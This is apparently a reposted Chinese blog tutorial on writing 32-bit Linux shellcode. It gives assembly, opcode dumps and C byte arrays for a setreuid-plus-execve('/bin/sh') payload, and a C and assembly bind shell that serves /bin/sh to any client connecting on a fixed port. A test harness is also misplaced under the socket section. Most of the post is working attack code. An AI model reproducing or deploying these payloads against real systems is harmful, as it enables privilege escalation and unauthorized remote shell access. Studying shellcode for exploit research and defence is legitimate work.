您的位置:首页 > 运维架构 > Shell

linux编写shellcode

2016-11-21 20:36 585 查看
一:基本shellcode

1、shellcode需要用到系统调用的调用号,可以通过unistd.h查看,具体某个系统调用的用法可以通过man syscall来查看

2、在现在的指令集中引入了syscall指令,但是原来的int 0x80调用正常可以使用。int 0x80调用将系统调用号放在eax, 参数依次放在ebx, ecx, edx, esi, edi;超过5个的将参数放在内存中,并将内存地址放在ebx寄存器中。 (strace命令可以查看一个程序的系统调用序列)

3、写shellcode的一般步骤

(1)编写汇编代码

sc.asm:

section .text

global _start

_start:

xor eax, eax

mov al, 0x46

xor ebx, ebx

xor ecx, ecx

int 0x80

//使用execve()调用bash

xor eax, eax

push eax

push 0x68732f2f

push 0x6e69622f

mov ebx, esp

push eax

push ebx

mov ecx, esp

xor edx, edx

mov al, 0xb

int 0x80

(2)编译汇编代码

nasm -f elf sc.asm

ld -o sc sc.o

(3)查看十六进制操作码

objdump -d sc

08048060 <_start>:

 8048060:    31 c0                    xor    %eax,%eax

 8048062:    b0 46                    mov    $0x46,%al

 8048064:    31 db                    xor    %ebx,%ebx

 8048066:    31 c9                    xor    %ecx,%ecx

 8048068:    cd 80                    int    $0x80

 804806a:    31 c0                    xor    %eax,%eax

 804806c:    50                       push   %eax

 804806d:    68 2f 2f 73 68           push   $0x68732f2f

 8048072:    68 2f 62 69 6e           push   $0x6e69622f

 8048077:    89 e3                    mov    %esp,%ebx

 8048079:    50                       push   %eax

 804807a:    53                       push   %ebx

 804807b:    89 e1                    mov    %esp,%ecx

 804807d:    31 d2                    xor    %edx,%edx

 804807f:    b0 0b                    mov    $0xb,%al

 8048081:    cd 80                    int    $0x80

(4)测试shellcode,这种测试方式必须关闭NX

char sc[] =

"\x31\xc0"

"\xb0\x46"

"\x31\xdb"

"\x31\xc9"

"\xcd\x80"

"\x31\xc0"

"\x50"

"\x68\x2f\x2f\x73\x68"

"\x68\x2f\x62\x69\x6e"

"\x89\xe3"

"\x50"

"\x53"

"\x89\xe1"

"\x31\xd2"

"\xb0\x0b"

"\xcd\x80";

二、socket连接

1、C源码

main()

{

void (*fp)(void);

fp = (void *)sc;

fp();

}

#include <sys/socket.h>

#include <netinet/in.h>

int main()

{

 char *shell[2];

 int server, client;

 struct sockaddr_in serv_addr;

 

 server = socket(2,1,0);

 serv_addr.sin_addr.s_addr=0;

 serv_addr.sin_port=0xBBBB;

 serv_addr.sin_family=2;

 bind(server, (struct sockaddr*)&serv_addr, 0x10);

 listen(server, 0);

 client = accept(server, 0, 0);

 dup2(client, 0);

 dup2(client, 1);

 dup2(client, 2);

 

 shell[0]="/bin/sh";

 shell[1]=0;

 execve(shell[0], shell, 0);

}

2、汇编代码

(1)需要知道socket库函数的系统调用名称,以及参数传递方式

(2)使用nc连接

BITS 32

section .text

global _start

_start:

xor eax, eax

xor ebx, ebx

xor edx, edx

;server=socket(2,1,0)

push eax

push  0x1

push  0x2

mov ecx, esp

inc bl

mov al, 102

int 0x80

mov esi, eax

;bind(server, (struct sockaddr*)&serv_addr, 0x10)

push edx

mov edx, 0xbbbb0103

sub dx, 0x0101

push edx

xor edx, edx

mov ecx, esp

push  0x10

push ecx

push esi

mov ecx, esp

inc bl

mov al, 102

int 0x80

;listen(server, 0)

push edx

push esi

mov ecx, esp

mov bl, 0x4

mov al, 102

int 0x80

;client = accept(server, 0, 0)

push edx

push edx

push esi

mov ecx, esp

inc bl

mov al, 102

int 0x80

mov ebx, eax

;dup2(client, 0);

xor ecx, ecx

mov al, 63

int 0x80

;dup2(client, 1);

inc ecx

mov al, 63

int 0x80

;dup2(client, 2);

inc ecx

mov al, 63

int 0x80

push edx

push long 0x68732f2f

push long 0x6e69622f

mov ebx, esp

push edx

push ebx

mov ecx, esp

mov al, 0x0b

int 0x80
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  linux 内存 汇编